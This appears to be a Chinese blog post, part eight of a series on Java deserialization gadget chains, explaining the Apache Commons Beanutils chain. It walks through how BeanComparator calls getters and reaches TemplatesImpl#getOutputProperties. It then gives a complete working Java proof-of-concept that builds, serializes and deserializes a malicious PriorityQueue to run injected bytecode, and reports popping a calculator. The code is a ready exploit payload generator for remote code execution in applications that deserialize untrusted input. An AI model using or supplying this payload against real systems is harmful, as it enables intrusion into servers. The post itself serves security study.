反序列化Gadget学习篇八 CommonBeanutils

背景

通过前面我们知道了java.util.PriorityQueue类实现了自己的readObject方法,可以作为一个入口,并且可以调用到transform。前面的利用链都是使用CommonCollection库里的代码实现攻击,其实也有其他的常用库也可以达成类似的效果。也就是说要寻找其他实现了java.util.Comparator的对象

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean是一种按特定规范编写的类,主要用来保存数据。一般包括私有属性和这个属性的赋值取值方法:

final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    } 
}

commons-beanutils则是为了更方便的使用JavaBean而开发的一个工具包,这里面提供了一个静态方法:PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter(获取某个属性值)方法,比如:

PropertyUtils.getProperty(newCat(),"name");

另外commons-beanutils还提供了一个比较方法,用来比较Bean是否为相等的类:org.apache.commons.beanutils.BeanComparator,这个类实现了java.util.Comparator接口,看它的compare()方法:

public int compare( final T o1, final T o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
}
    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " +
iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " +
ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " +
nsme.toString() );
    } 
}

如果this.property不为空,则会调用PropertyUtils.getProperty去获取这两个对象的this.property属性,这个步骤就会自动去寻找对象的getter方法。如果有什么方法的getter方法能够执行恶意代码,就完成了整个步骤。

这里回想一下,TemplatesImpl的利用链中,有用到了一个getxxx方法。

TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

TemplatesImpl#getOutputProperties() 正好符合Bean的getter方法的要求。
所以这段代码PropertyUtils.getProperty( o1, property );中,o1是一个TemplatesImpl对象,propertyOutputProperties的时候,就会自动触发代码执行。

payload构造

首先准备好恶意的TemplatesImpl

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");

初始化好比较器和PriorityQueue

final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(beanComparator);
queue.add(1);
queue.add(1);

反射修改属性,queue的值改为恶意的TemplatesImpl对象,比较器BeanComparator的property改为outputProperties,以调用getoutputProperties方法。

setFieldValue(beanComparator, "property", "outputProperties");
// 将队列中的两个元素改为TemplatesImpl对象
setFieldValue(queue, "queue", new Object[]{obj, obj});

成功弹出计算器

完整代码

package changez.sec.CommonBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import changez.sec.shiro.Evil;

public class CommonBeanutils {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field f1 = obj.getClass().getDeclaredField(fieldName);
        f1.setAccessible(true);
        f1.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue queue = new PriorityQueue(beanComparator);
        queue.add(1);
        queue.add(1);

        // 将BeanComparator的property改为OutputProperties,比较时调用getOutputProperties()
        setFieldValue(beanComparator, "property", "outputProperties");
        // 将队列中的两个元素改为TemplatesImpl对象
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
posted @ 2021-09-27 17:24  ChanGeZ  阅读(179)  评论(0编辑  收藏  举报